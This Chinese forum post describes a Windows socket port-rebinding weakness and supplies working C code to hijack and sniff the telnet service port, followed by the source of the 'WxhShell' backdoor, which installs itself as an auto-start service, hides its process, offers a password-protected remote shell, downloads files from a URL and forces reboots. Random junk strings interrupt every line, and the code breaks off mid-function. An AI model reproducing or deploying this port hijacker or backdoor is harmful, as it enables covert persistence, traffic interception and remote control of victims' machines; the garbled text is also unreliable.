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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~Mx fud  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mc6y'w  
~:@H6Ke[  
  saddr.sin_family = AF_INET; GB=q}@&8p  
: )z_q!$j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QJ /SP  
)v9[/ ]*P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7PMZt$n  
Vh<`MS0X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'tbb"MEi4  
ZUu^==a  
  这意味着什么?意味着可以进行如下的攻击: w9FI*30  
i_MI!o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A>?fbY2n  
}:%pOL n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1mX*0>  
piP8ObGjy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Z7!9+<  
=T-w.}27O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @2mP  
ZeeuH"A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >$y >  
e-VL U;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dc05,Bz  
BUb(BzC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0 OBkd  
pV7Gh`<y  
  #include 2]+.8G7D%  
  #include wLtTC4D  
  #include '!R,)5l0h  
  #include    BGX@n#:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U]|q4!WE  
  int main() <IVz mzpL  
  { 6"7qZq  
  WORD wVersionRequested; R%%`wmG)"  
  DWORD ret; aW"!bAdx`,  
  WSADATA wsaData; K\b O[J  
  BOOL val; jO 55<s94  
  SOCKADDR_IN saddr; W(aRO  
  SOCKADDR_IN scaddr; z(3"\ ^T  
  int err; qN@a<row&~  
  SOCKET s; `xUPML-  
  SOCKET sc; >|?T|  
  int caddsize; rHlF& ET  
  HANDLE mt; kre&J  
  DWORD tid;   (5~C _Y  
  wVersionRequested = MAKEWORD( 2, 2 ); Z+"&{g  
  err = WSAStartup( wVersionRequested, &wsaData ); 5-^%\?,x  
  if ( err != 0 ) { &r%*_pX  
  printf("error!WSAStartup failed!\n"); %K"%Qm=Tl  
  return -1; CeTr%j  
  } g5Rm!T+@I<  
  saddr.sin_family = AF_INET; 86#mmm)  
   $)Yog]}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4MJzx9#  
QIK73^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \w^QHX1+  
  saddr.sin_port = htons(23); 6[.Mx}h6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AxlFU~E4  
  { VA'X!(Cv  
  printf("error!socket failed!\n"); (0W}e(D8  
  return -1; ht)nx,e=  
  } 8/"|VE DOr  
  val = TRUE; P]"d eB|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -j_I_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V:BX"$ J1  
  { | ",[C3Jg  
  printf("error!setsockopt failed!\n"); 9T2A)a]0  
  return -1; {~fCqP.2  
  } #}dVaXY)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UglG!1L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;9 ,mV(w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \bm6/fhA:  
`t0f L\T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {|Ki^8h/p  
  { 2BDan^:-Av  
  ret=GetLastError(); Ia`JIc^e  
  printf("error!bind failed!\n"); *3O>J"  
  return -1; }b+QYSt  
  } >:E* 7  
  listen(s,2); t-i6FS-  
  while(1) .^lb LN^2  
  { M+;P?|a  
  caddsize = sizeof(scaddr); ej%;%`C-  
  //接受连接请求 ] 5v4^mk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kt{C7qpD  
  if(sc!=INVALID_SOCKET) UIOEkQ\Wl  
  { C$LRY~ \  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b/B`&CIA0"  
  if(mt==NULL) $i:||L^8p  
  { j- YJ."  
  printf("Thread Creat Failed!\n"); F|?'9s*;6G  
  break; q|o |/O-{  
  } <*"pra{3  
  } eh:}X}c=J]  
  CloseHandle(mt); D!}K)T1~R  
  } b"nG-0JR  
  closesocket(s); 6f?BltFaN  
  WSACleanup(); dHG  Io  
  return 0; 6 W;?8Z_1  
  }   /Y[o=Uyl  
  DWORD WINAPI ClientThread(LPVOID lpParam) :%#r.p"6x  
  { (+UmUx=  
  SOCKET ss = (SOCKET)lpParam; =r@gJw:B  
  SOCKET sc; )ojx_3j8  
  unsigned char buf[4096]; b>QM~mq3^I  
  SOCKADDR_IN saddr; cc41b*ci$  
  long num; - LiPHHX<  
  DWORD val; 8jggc#.  
  DWORD ret; Ty3CBR{6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t0e{| du  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /z1p/RiX  
  saddr.sin_family = AF_INET; VJN/#   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1iJ0Hut}d  
  saddr.sin_port = htons(23); 9K;k%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1xO!w+J#  
  { K lli$40  
  printf("error!socket failed!\n"); ZU-4})7uSB  
  return -1; =Y &9 qt  
  } mPs%ZC  
  val = 100; 5 [ ,+\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7deAr$?Wx  
  { 5=Kq@[(4  
  ret = GetLastError(); Q`S iV  
  return -1; \ fK47oV  
  } W?qpnPW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nTys4 R  
  { Z}8k[*.  
  ret = GetLastError(); )o#6-K+b  
  return -1; `]`=]*d  
  } }_{y|NW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =oE_.ux\  
  { .P)s4rQ\  
  printf("error!socket connect failed!\n"); WI1T?.Gc   
  closesocket(sc); n1QEu"~Zj  
  closesocket(ss); [D3+cDph  
  return -1; o 'C~~Vg).  
  } PXw| L  
  while(1) {TyCj?3B  
  { C=N! z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K;oV"KRK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fy&#M3UA\U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 t< sp%zXZ  
  num = recv(ss,buf,4096,0); }m6f^fs}  
  if(num>0) P+Wm9xR2d  
  send(sc,buf,num,0); ,YjxC p3  
  else if(num==0) X<(6T  
  break; !|:RcH[  
  num = recv(sc,buf,4096,0); m6b$Xyq[  
  if(num>0) OmB TA=E<  
  send(ss,buf,num,0); 8 AFMn[{  
  else if(num==0) O\6vVM[  
  break; Da-u-_~  
  } 1p8:.1)q  
  closesocket(ss); k+FMZ, D|  
  closesocket(sc); 'KH lrmnr  
  return 0 ; WtIMvk  
  } 6\NvG,8  
?RHn @$g8M  
v@VLVf)>9^  
========================================================== o`idg[l.  
Di:{er(p  
下边附上一个代码,,WXhSHELL G.E[6G3  
k@S)j<  
========================================================== !X-9Ms}(d  
wHf&R3fg  
#include "stdafx.h" G\R*#4cF  
wfE^Sb3  
#include <stdio.h> AcKU^T+  
#include <string.h> yE#g5V&  
#include <windows.h> le.anJAr  
#include <winsock2.h> 69>/@<   
#include <winsvc.h> 6,X+1EXY  
#include <urlmon.h> GQb i$kl  
x|8^i6xB  
#pragma comment (lib, "Ws2_32.lib") 8) HBh7/  
#pragma comment (lib, "urlmon.lib") D&/I1=\(  
)IHG6}<  
#define MAX_USER   100 // 最大客户端连接数 2HD:JdL  
#define BUF_SOCK   200 // sock buffer C8ZL*9U  
#define KEY_BUFF   255 // 输入 buffer LT/mb2  
H9U .lb  
#define REBOOT     0   // 重启 oe9lF*$/  
#define SHUTDOWN   1   // 关机 V@[rf<,  
`{[RjM`  
#define DEF_PORT   5000 // 监听端口 {?Od{d9  
vwmBUix  
#define REG_LEN     16   // 注册表键长度 eeM?]J-  
#define SVC_LEN     80   // NT服务名长度 8f|98T"  
kO1}?dWpa  
// 从dll定义API qw<HY$3=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b?8)7.{F{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KFU%DU G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "N 3)Qr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "oR@JbdX  
wPX*%0]  
// wxhshell配置信息 7/aOsW"6  
struct WSCFG { ZIDbqQu  
  int ws_port;         // 监听端口 4 j X3lq|  
  char ws_passstr[REG_LEN]; // 口令 /,2rjJ#b  
  int ws_autoins;       // 安装标记, 1=yes 0=no z8"7u /4v{  
  char ws_regname[REG_LEN]; // 注册表键名 X %4Kj[I^  
  char ws_svcname[REG_LEN]; // 服务名 E8ta|D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y!~qbh[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}vNSQvG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  lq>AGw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8PBvV[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -_em%o3XC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9%tobo@J~n  
^nNitF  
}; LHkQ'O0  
O$D?A2eI  
// default Wxhshell configuration  U>a\j2I  
struct WSCFG wscfg={DEF_PORT, cE\>f8 I  
    "xuhuanlingzhe", *z8|P#@  
    1, /TV= $gB`  
    "Wxhshell", sILSey5`  
    "Wxhshell", 5)UQWnd5  
            "WxhShell Service", ~TqT }:,H  
    "Wrsky Windows CmdShell Service", 3I  $>uR  
    "Please Input Your Password: ", esX)"_xf  
  1, R#W&ery  
  "http://www.wrsky.com/wxhshell.exe", n}?wVfEy  
  "Wxhshell.exe" ,R2U`EO;  
    }; y >+mc7n  
te,[f  
// 消息定义模块 %IY``r)j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2VGg 6%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t9cl"F=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _S`o1^Ad  
char *msg_ws_ext="\n\rExit."; 4(8xjL:  
char *msg_ws_end="\n\rQuit."; C\*4q8(  
char *msg_ws_boot="\n\rReboot..."; S/tIwG ~e3  
char *msg_ws_poff="\n\rShutdown..."; gckI.[!b  
char *msg_ws_down="\n\rSave to "; \ck+GW4&  
AUe# RP  
char *msg_ws_err="\n\rErr!"; N?P%-/7  
char *msg_ws_ok="\n\rOK!"; T~:|!`  
x@Hd^xH`  
char ExeFile[MAX_PATH]; $O)3 q $|  
int nUser = 0; Y>+y(ck  
HANDLE handles[MAX_USER]; alq%H}FF  
int OsIsNt; cV{o?3<:B  
|r%D\EB  
SERVICE_STATUS       serviceStatus; Tr0B[QF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cLVeT  
Bi,;lR5  
// 函数声明 H1n1-!%d  
int Install(void); s?R2B)a  
int Uninstall(void); }g7]?Ee  
int DownloadFile(char *sURL, SOCKET wsh); `;l.MZL!  
int Boot(int flag); re?s.djT  
void HideProc(void); 3&&9_`r&_  
int GetOsVer(void); \p{5D`HY  
int Wxhshell(SOCKET wsl); 0 &_UH}10  
void TalkWithClient(void *cs); qMt++*Ls  
int CmdShell(SOCKET sock); $-}e; VZb  
int StartFromService(void); uvP2Wgt  
int StartWxhshell(LPSTR lpCmdLine); qt%D'  
rE9I>|tX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z[__"^}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A+J*e  
o]:3H8  
// 数据结构和表定义 Bw%Qbs0Q  
SERVICE_TABLE_ENTRY DispatchTable[] = lKZB?Kk^w\  
{ ?;/^Ya1;Z  
{wscfg.ws_svcname, NTServiceMain}, : G\<y  
{NULL, NULL} a<}#HfC;'  
}; <Rh6r}f  
JR CrZW}  
// 自我安装 `Qr%+OD  
int Install(void) xk&Jl#v  
{ >SPh2[f  
  char svExeFile[MAX_PATH]; 5p.rwNE  
  HKEY key; r'QnX;99T  
  strcpy(svExeFile,ExeFile); E dZ\1'&/9  
fd-q3 _f  
// 如果是win9x系统,修改注册表设为自启动 [q !T Iq  
if(!OsIsNt) { b#7{{@H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( =~&+z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $!&*xrrNM  
  RegCloseKey(key); KM^ufF2[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S[WG$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _6 ay-u  
  RegCloseKey(key); ;2B{9{  
  return 0; 5^^XQ?"  
    } OS8q( 2z?s  
  } AU2i%Q!  
} HRB<Y mP@  
else { {nLjY|*  
[l,Ei?  
// 如果是NT以上系统,安装为系统服务 g<~Cpd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c y8;@[#9  
if (schSCManager!=0) fW?o@vlO  
{ 0jEL<TgC  
  SC_HANDLE schService = CreateService ;Iq/l%vX  
  ( KEWTBBg  
  schSCManager, I_RsYw  
  wscfg.ws_svcname, z[Xd%mhjO  
  wscfg.ws_svcdisp, YpqrZWvh  
  SERVICE_ALL_ACCESS, ght$9>'n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ti#7(^j  
  SERVICE_AUTO_START, (DI>5.x"  
  SERVICE_ERROR_NORMAL, c"[cNZo  
  svExeFile, X 7rMeu  
  NULL, A{A\RSZ0  
  NULL, -,U3fts  
  NULL, rW=Z>1  
  NULL, <~WsD)=$  
  NULL +llR204  
  ); |j,"Pl}il^  
  if (schService!=0) 8SGo9[U2  
  { ]UmFhBR-  
  CloseServiceHandle(schService); _fKou2$yz  
  CloseServiceHandle(schSCManager); ,k;^G>< =  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -PfX0y9n  
  strcat(svExeFile,wscfg.ws_svcname); }"|K(hq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q637N|01  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); adR)Uq9  
  RegCloseKey(key); maNl^i  
  return 0; ,LnII  
    } <_-hRbS  
  } "/wyZ  
  CloseServiceHandle(schSCManager); ojan Bg   
} =o$sxb E(  
} '!eKTC>  
p"KFJ  
return 1; rp ;b" q  
} =Lf,?"S  
r/u A.Aou^  
// 自我卸载 7Mg=b%IYs  
int Uninstall(void) ;;#qmGoE  
{  @fl-3q  
  HKEY key; Tu).K.p:  
Q|#W#LV,K  
if(!OsIsNt) { v]B3m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?j"KV_  
  RegDeleteValue(key,wscfg.ws_regname); Q$zO83  
  RegCloseKey(key); {?:X8&Sf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X\bOz[\  
  RegDeleteValue(key,wscfg.ws_regname); s T}. v*  
  RegCloseKey(key); vH :LQ!2  
  return 0; &E.^jR~*  
  } uM_wjP  
} n[lJLm^(_C  
} Bu#VMk chJ  
else { iO|se:LY<  
@$[?z9ck"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9_Be0xgJ3^  
if (schSCManager!=0) XAF+0 x!  
{ RBs-_o+%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /`wvxKX  
  if (schService!=0) t/VD31  
  { x!5'`A!W%  
  if(DeleteService(schService)!=0) { ;:\<gVi:  
  CloseServiceHandle(schService); '>-gi}z7  
  CloseServiceHandle(schSCManager); bk;?9%TW  
  return 0; :~Wrf8 UQ  
  } TQpfQ  
  CloseServiceHandle(schService); J}v}~Cv  
  } C~2F9Pg  
  CloseServiceHandle(schSCManager); kmP]SO?tx  
} 2bw_IT  
} 2$+bJJM  
mr*JJF0Z  
return 1; Br1&8L-|%  
} ,|y:" s  
tn(JC%?^  
// 从指定url下载文件 B-ngn{Yc   
int DownloadFile(char *sURL, SOCKET wsh) *>7>g"  
{ _(%d(E2?  
  HRESULT hr;  HN=V"a  
char seps[]= "/";  oM2l-[-  
char *token; Mo?~_|}  
char *file; sFT.Oxg<  
char myURL[MAX_PATH]; de.&`lPRf  
char myFILE[MAX_PATH]; $PTP/^  
y{ibO}s  
strcpy(myURL,sURL); +ga k#M"n\  
  token=strtok(myURL,seps); Qu?R8+"KS  
  while(token!=NULL) \?[v{WP)  
  { qE&v ;  
    file=token; Ktb\ bw  
  token=strtok(NULL,seps); ub^h&= \S  
  } 4|buk]9  
^t` k0<  
GetCurrentDirectory(MAX_PATH,myFILE); 0b+Wc43}K  
strcat(myFILE, "\\"); $$|rrG  
strcat(myFILE, file); IHam4$~-  
  send(wsh,myFILE,strlen(myFILE),0); [ey:e6,T9  
send(wsh,"...",3,0); nKPYOY8^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l~c@^!  
  if(hr==S_OK) 2|3)S`WZl  
return 0; 0h#l JS*  
else "+kL )]  
return 1; |^:cG4e  
H$=e -L`@  
} K&POyOvT  
-~s!73pDY  
// 系统电源模块 W5EDVP ur  
int Boot(int flag) *w^C"^*  
{ V=R 3)GC  
  HANDLE hToken; M2PAy! J  
  TOKEN_PRIVILEGES tkp; m? eiIrMW  
/1"(cQ%?  
  if(OsIsNt) { $Z.7zH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'n{Nvt.c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }YB*]<]  
    tkp.PrivilegeCount = 1; iq8Grd L"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `IP/d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v*'^r)Q[p  
if(flag==REBOOT) { M2 ,YsHt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:pM 4J  
  return 0; )m`<H>[Eb=  
} wT;0w3.Z  
else { 9!6f-K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f%SZg!+t  
  return 0; XG}C+;4Aw  
} _wTOmz%|R  
  } #xho[\  
  else { PH1p2Je  
if(flag==REBOOT) { W#^2#sjO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l n{e1':$"  
  return 0; $w)!3c4  
} dYT%  
else { u?4:H=;>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D&od?3}E  
  return 0; SG6kud\b  
} '10oK {m$  
} [BWNRC1  
gW^VVbB'L  
return 1; BUWqI dg  
} ZvNJ^Xz  
`7[EKOJ3g  
// win9x进程隐藏模块 u$>4F|=T  
void HideProc(void) 3Ndq>  
{ tQ8.f  
24E}<N,g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '?!zG{x  
  if ( hKernel != NULL ) B|R@5mjm  
  { =:&ly'QB&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9`1O"R/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Om=N@?  
    FreeLibrary(hKernel); ySx>L uY#3  
  } G~Hzec{#tg  
<D:.(AUeO  
return; |bq$xp  
} _kj wFq  
C69q&S,  
// 获取操作系统版本 !qv ea,vw  
int GetOsVer(void) ]ro*G"-_1#  
{ gG]Eeu+z   
  OSVERSIONINFO winfo; I/&%]"[^u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v16 JgycM  
  GetVersionEx(&winfo); v:!Z=I}>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7uKNd *%  
  return 1; ~tBYIkvWT  
  else qT%FmX  
  return 0; .ni_p 6!  
} {_`^R>"\&w  
mzeY%A<0^  
// 客户端句柄模块 %e-7ubW  
int Wxhshell(SOCKET wsl) P* w9 ,  
{ <g1hxfKx5  
  SOCKET wsh; t/cY=Wp  
  struct sockaddr_in client; luo   
  DWORD myID; 6kNrYom  
QWD'!)Zb  
  while(nUser<MAX_USER) {4G%:09~J  
{ f|B=_p80  
  int nSize=sizeof(client); cl]Mi "3_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kS_(wp A  
  if(wsh==INVALID_SOCKET) return 1; } ud0&Oe{  
(BTVD,G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K? y[V1,  
if(handles[nUser]==0) q=%RDG+  
  closesocket(wsh); +3BBQ+x!  
else ]^lw*724'>  
  nUser++; ]L9s%]o  
  } Bwa'`+bC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 43mP]*=A  
,cB\  
  return 0; vRs,zL$W  
} Y~L2  
:c8&N-`  
// 关闭 socket EdlTdn@A  
void CloseIt(SOCKET wsh) M_"L9^^>N  
{ %kS(LlL+6  
closesocket(wsh); X~lVVBO  
nUser--; N+Y]st+  
ExitThread(0); \/: {)T~  
} lu<xv  
.NYbi@bk(<  
// 客户端请求句柄 7]blrN]  
void TalkWithClient(void *cs) {ys=Ndo8  
{ /J=v]<87a  
j@SQ~AS  
  SOCKET wsh=(SOCKET)cs; j`~Ms>  
  char pwd[SVC_LEN]; sg$rzT-S4  
  char cmd[KEY_BUFF]; BW 4%l  
char chr[1]; VU&7P/\f%  
int i,j; ~GL] wF2#  
+VO-oFE|  
  while (nUser < MAX_USER) { 2/"u5  
czS+< w  
if(wscfg.ws_passstr) { IOqwCD[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Nq N \5B:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2zs73:z  
  //ZeroMemory(pwd,KEY_BUFF); 0=AVW`J  
      i=0; CF?1R  
  while(i<SVC_LEN) { 1Cv-  
&e#~<Wm82  
  // 设置超时 zi]\<?\X  
  fd_set FdRead; Y8-86 *zC  
  struct timeval TimeOut; 8W,Jh8N6  
  FD_ZERO(&FdRead); 8B\2Zfe  
  FD_SET(wsh,&FdRead);  ?zw|kl  
  TimeOut.tv_sec=8; TFkZpe;  
  TimeOut.tv_usec=0; /5Oa,NS7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); va}Pj#=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L"o>wYx  
??M"6k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =;2%a(  
  pwd=chr[0]; eHn7iuS8  
  if(chr[0]==0xd || chr[0]==0xa) { VGpWg rmHk  
  pwd=0; .QZaGw=,z  
  break; ] 6TATPIr  
  }  SL#0kc0x  
  i++; U%q7Ai7  
    } Mxyb5h  
Ji>o!  
  // 如果是非法用户,关闭 socket `(_s|-$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Le?T&_  
} /OLFcxEWh  
[AYOYENp-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '8!Y D?n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'4w;-ax  
zgNc4B  
while(1) { nD`w/0hT<  
WST8SEzJ  
  ZeroMemory(cmd,KEY_BUFF); |iE50,  
Sjv dirr  
      // 自动支持客户端 telnet标准   .1KhBgy^K  
  j=0; jL%x7?*U0  
  while(j<KEY_BUFF) { `6lr4Kk @R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ts\5uiB<%  
  cmd[j]=chr[0]; >7I15U  
  if(chr[0]==0xa || chr[0]==0xd) { gy#/D& N[  
  cmd[j]=0; gW>uR3Ca4  
  break; e1%/26\  
  } g!lWu[d  
  j++; )Im#dVQs=  
    } /?@3.3sl_  
xTj|dza  
  // 下载文件 'p> Ra/4  
  if(strstr(cmd,"http://")) { 7"sD5N/>uh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o]yl ;I  
  if(DownloadFile(cmd,wsh)) 5ymk\Lw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Xi07_8Ic<  
  else [x+FcXb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2%LL Sa  
  } cAY:AtD  
  else { b\yXbyjZ3.  
W-mQjJ`,B  
    switch(cmd[0]) { SxOC1+Oy  
  ;j[>9g  
  // 帮助 c6h.iBJ'  
  case '?': { kD=WO4}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,}3 'I [  
    break; j[`j9mM8  
  } )c8rz[i  
  // 安装 s}w{:Hk,x8  
  case 'i': { 1S{D6#bE  
    if(Install())  gbF+WE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ''yB5#^w(  
    else [pbo4e,4O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',9V|jvK  
    break; 1eS&&J5  
    } ojaws+(& y  
  // 卸载 [k.tWA,&  
  case 'r': { Ag9vU7  
    if(Uninstall()) 0)Uce=t`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(/lLgI(  
    else zQcL|  (N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SIBtmm1W  
    break; =bfJ^]R  
    } ns9U/ :L  
  // 显示 wxhshell 所在路径 $ `ov4W  
  case 'p': { 8EW_V$>R  
    char svExeFile[MAX_PATH]; [%q@]\U$s  
    strcpy(svExeFile,"\n\r"); cz >V8  
      strcat(svExeFile,ExeFile); |]jb& M  
        send(wsh,svExeFile,strlen(svExeFile),0); :ci5r;^  
    break; ,]|#[8  
    } 6eLR2  
  // 重启 a!a-b~#cx  
  case 'b': { ?9!6%]2D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GzhYY"iif#  
    if(Boot(REBOOT)) ni.cTOSx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gZN8!#h}B  
    else { EAT"pxP  
    closesocket(wsh); e^8 O_VB  
    ExitThread(0); joFm]3$;  
    } zwhe  
    break; gqZ'$7So  
    } D9<!mH  
  // 关机 abuh`H#  
  case 'd': { PRx8I .  
